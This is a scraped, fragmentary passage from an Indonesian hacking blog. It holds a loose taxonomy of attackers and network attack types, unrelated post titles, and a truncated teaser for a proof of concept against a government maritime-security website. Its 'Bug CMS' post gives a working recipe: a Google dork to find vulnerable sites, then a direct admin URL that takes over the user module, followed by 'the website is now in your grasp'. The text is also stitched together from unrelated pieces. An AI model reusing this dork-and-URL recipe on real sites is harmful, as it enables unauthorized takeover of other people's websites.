request pada server secara serentak asimetris dan simultan sehingga buffer server akan

kelabakan menjawabnya!? Stuck/hung akan menimpa server. Jadi bukan server lagi namanya!?

(servicenya mati masak dibilang server? hehehe….)

Joyrider

Nah, ini namanya serangan iseng!? Karena kebanyakan baca novel-novel hacking dan gak bisa

belajar benar, isenglah jadinya nyoba-nyoba nyerang pake ilmu-ilmu instan super cepat

(istilahnya ‘onani’ dimesin orang). Atau dengan alasan pengen tau isinya mesin orang!? =).

Yang jelas serangan jenis ini rata-rata karena rasa ingin tau, tapi ada juga yang sampe

menyebabkan kerusakan atau kehilangan data.

Vandal

Jenis serangan spesialis pengrusak!? nothing else to explain mbah!? =)

Scorekeeper

Serangan yang bertujuan mencapai reputasi hasil cracking terbanyak. Biasanya hanya

berbentuk deface halaman web (index/nambah halaman) dengan memampangakan NickName dan

kelompok tertentu. Sebagian besar masih tidak perduli dengan isi mesin sasarannya =).

Saat ini jenis penyerang ini lebih dikenal dengan sebutan WannaBe/Script kiddies.

Spy

Tiga hurup saja. Jenis serangan untuk memperoleh data atau informasi rahasia dari mesin

target. Biasanya menyerang pada mesin-mesin dengan aplikasi database didalamnya. Kadang

kala suatu perusahaan menyewa ‘mata-mata’ untuk mencuri data perusahaan rivalnya

1. IP Spoofing

IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP attacker sehingga

sasaran menganggap alamat IP attacker adalah alamat IP dari host di dalam network bukan dari luar

network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx ketika attacker melakukan

serangan jenis ini maka Network yang diserang akan menganggap IP attacker adalah bagian dari

Networknya misal 192.xx.xx.xx yaitu IP type C. IP Spoofing terjadi ketika seorang attacker

packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk

routing biasanya di transmisikan secara transparan dan jelas sehingga membuat attacker dengan mudah

untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh attacker

tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para attacker.

2. FTP Attack

Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang

diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk

mendapatkan command shell ataupun untuk melakukan Denial Of Service.

Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk mengambil

resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang

attacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang attacker bisa

membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang

diserang.

Tidak pernah atau jarang mengupdate versi server dan mempatchnya adalah kesalahan yang sering

dilakukan oleh seorang admin dan inilah yang membuat server FTP menjadi rawan untuk dimasuki.

Sebagai contoh adalah FTP server yang populer di keluarga UNIX yaitu WU-FTPD yang selalu di

upgrade dua kali dalam sehari untuk memperbaiki kondisi yang mengizinkan terjadinya bufferoverflow

Mengexploitasi FTP juga berguna untuk mengetahui password yang terdapat dalam sistem, FTP Bounce

attack(menggunakan server ftp orang lain untuk melakukan serangan), dan mengetahui atau mensniff

informasi yang berada dalam sistem.

3. Unix Finger Exploits

Pada masa awal internet, Unix OS finger utility digunakan secara efficient untuk men sharing informasi

diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan

peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang

sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang attacker utility ini sangat berharga untuk

melakukan informasi tentang footprinting, termasuk nama login dan informasi contact. Utility ini juga

menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada

dalam sistem dan seberapa jauh user merawat sistem.

Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha cracker dalam menembus sebuah

sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi

seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk

memanfaatkan user agar â€˜memberitahuâ€™ password dan kode akses terhadap system.

4. Flooding & Broadcasting

Seorang attacker bisa menguarangi kecepatan network dan host-host yang berada di dalamnya secara

significant dengan cara terus melakukan request/permintaan terhadap suatu informasi dari sever yang bisa

menangani serangan classic Denial Of Service(Dos), mengirim request ke satu port secara berlebihan

dinamakan flooding, kadang hal ini juga disebut spraying. Ketika permintaan flood ini dikirim ke semua

station yang berada dalam network serangan ini dinamakn broadcasting. Tujuan dari kedua serangan ini

adalah sama yaitu membuat network resource yang menyediakan informasi menjadi lemah dan akhirnya

menyerah.

Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or

volume). Seorang attacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas

besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu

network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup

power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas

proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar

akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan.

5. Fragmented Packet Attacks

Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya

mengandung paket pertama yang isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa

firewall akan mengizinkan untuk memroses bagian dari paket-paket yang tidak mengandung informasi

alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash.

Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet) cukup untuk

menulis ulang informasi paket pertama dari suatu protokol.

6. E-mail Exploits

Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode

(malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email

bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file

aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function).

7. DNS and BIND Vulnerabilities

Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain

(BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis

yang diarahkan pada operasi dasar dari Internet (basic internet operation).

8. Password Attacks

Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak

perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi

online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP.

Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang attacker mungkin

saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka

sesuatu yang dilindungi oleh password. Ketika seorang attacker berhasil mendapatkan password yang

dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih

karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat

meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai

hal ini dengan cara teknikal. Kebnayakan seranagn yang dilakukan terhadap password adalah menebak

(guessing), brute force, cracking dan sniffing.

9.Proxy Server Attacks

Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan proses dari beberapa host dalam suatu trusted network. Dalam kebanyakan kasus, tiap host mempunyai kekuasan untuk membaca dan menulis (read/write) yang berarti apa yang bisa saya lakukan dalam sistem saya akan bisa juga saya lakukan dalam system anda dan sebaliknya.

10. Remote Command Processing Attacks

Trusted Relationship antara dua atau lebih host menyediakan fasilitas pertukaran informasi dan resource

sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network). Attacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang attacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya.

11. Remote File System Attack

Protocol-protokol untuk tranportasi data adalah tingkat TCP (TCPLevel) yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network dan host. Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk mendapatkan akses ke direktori file.

12. Selective Program Insertions

Selective Program Insertions adalah serangan yang dilakukan ketika attacker menaruh program-program

penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ☺) pada

system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini

mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan

membuka backdoor.

13. Port Scanning

Melalui port scanning seorang attacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai

macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi.

Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk

publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack.

14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
Interception

TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan

informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force,

serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like.

15. HTTPD Attacks

Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd

bypasses, cross scripting, web code vulnerabilities, dan URL floods. HTTPD Buffer Overflow bisa terjadi karena attacker menambahkan errors pada port yang digunakan untuk web traffic dengan cara memasukan banyak carackter dan string untuk menemukan tempat overflow yang sesuai. Ketika tempat untuk overflow ditemukan, seorang attacker akan memasukkan string yang akan menjadi perintah yang dapat dieksekusi. Bufer-overflow dapat memberikan attacker akses ke command prompt.

Bug CMS

noreply@blogger.com (pandewa) — Sat, 07 Aug 2010 16:16:00 +0000

Bug CMS

apa itu CMS ? CMS adalah Sebuah sistem yang memberikan kemudahan kepada para penggunanya dalam mengelola dan mengadakan perubahan isi sebuah website dinamis tanpa sebelumnya dibekali pengetahuan tentang hal-hal yang bersifat teknis. Dengan demikian, setiap orang, penulis maupun editor, setiap saat dapat menggunakannya secara leluasa untuk membuat, menghapus atau bahkan memperbaharui isi website tanpa campur tangan langsung dari pihak webmaster. dalam artikel kali ini, saya akan mencoba membahas bug cms, walau terbilang ini bug lama, namun tak ada salahnya untuk kembali sedikit bernostalgia.
menurut saya pribadi bug CMS adalah buh yang sangat fatal.di cms terdapat suatu bug yg terletak pada script content.php dan pada module usernya. oleh karena itu saya ingin membahasnya,

saatnya exploitasi,
1. searching target dengan dork "allinurl:media.php?module="
2. tentukan target.jika sudah dapat lanjut ke berikutnya
3. tester pertam yaitu mengetahui page adminnya dengan menambakan dir admin di belakang target
misal : http://target.com/admin

4. setelah kebuka,lanjut keberikutnya yaitu dengan langsung menuju ke content module usernya.

dengan menambahkan content.php?module=user

misal : http://target.com/admin/content.php?module=user

5. sekarang, website tersebut sudah berada dalam genggaman anda, tapi ingat, jika anda menemukan error bug cms, segera laporkan pada admin website tersebut,,

hanya sebuah blog

Teknik Pencarian Google

Teknik Penipuan Lewat Facebook

Andai Aku Jadi Gayus Tambunan

Pelantun Lagu "Andai Aku Jadi Gayus" Diperiksa

White Hat & Black Hat SEO

Remote Dekstop Windows Menggunakan Ubuntu 10.10

Menambah Widget Pada WordPres

Buku Tamu

PHP Bug di CMS PHP L.hakim

Topeng Pembungkus Trojan

Simple Lava Menu Menggunakan jQuery

Demo

Download Source Code

WORDPRESS v1.0 SQL Injection Vulnerability

Bersihkan Virus Melalui Kotak Dialog Autoplay

Drag and Drop Menggunakan jQuery

Berikut adalah kode CSS, Anda dapat memodifikasi sebagai keinginan anda, tetapi ingat untuk menyesuaikan lebar. Kolom dalam kasus Anda meningkatkan jumlah kolom.

JavaScript Code

Untuk membuat kotak draggable dan droppable, kita akan menggunakan fungsi Libraries Sortables jQuery UI. Berikut kode yang perlu menggunakan, menambahkan ini ke $ (dokumen) setelah fungsi ().

Untuk menutup isi panel bila anda klik pada header panel dan menunjukkan mengkonfigurasi link pada header panel di hover, gunakan kode dibawah ini pada fungsi jQuery

download source kode http://kui.my-php.net/demo/drag.zip

Menambah Widget Populer Posts Dan Blog Stats Di Blogger

Tagging Image Menggunakan Css

Boikot indon bodoh dot blogspot dot com

gunung sinabung meletus

Cyber Indonesia Kembali Beraksi

ayo pemuda indonesia,, bangkitkan gelora merah darah semangatmu,,,,,,, stop dreaming start action,, jangan biarkan negara ini terhinjak terhempas,,,, bela-lah negara ini,, !!!!!!!!!!!!!!

POC Website Bakorkamla

POC Website Bakorkamla

bakorkamla adalah website milik Badan Koordinsasi Keamanan Laut Indonesia, nah disini saya akan mencoba berbagi POC (Proof of Concept) dari website tersebut, ingat :

Pengenalan Enkripsi Kode Hill

Fitur spam filter pada blogspot

Fitur spam filter pada blogspot

Digital Forensik Ke Aslian Suatu Photo

Tombol Rahasia Untuk Facebook

Cara dan Jenis Hacker Menyerang Situs

Bug CMS

bakorkamla adalah website milik Badan Koordinsasi Keamanan Laut Indonesia, nah disini saya akan mencoba berbagi POC (Proof of Concept) dari website tersebut,
ingat :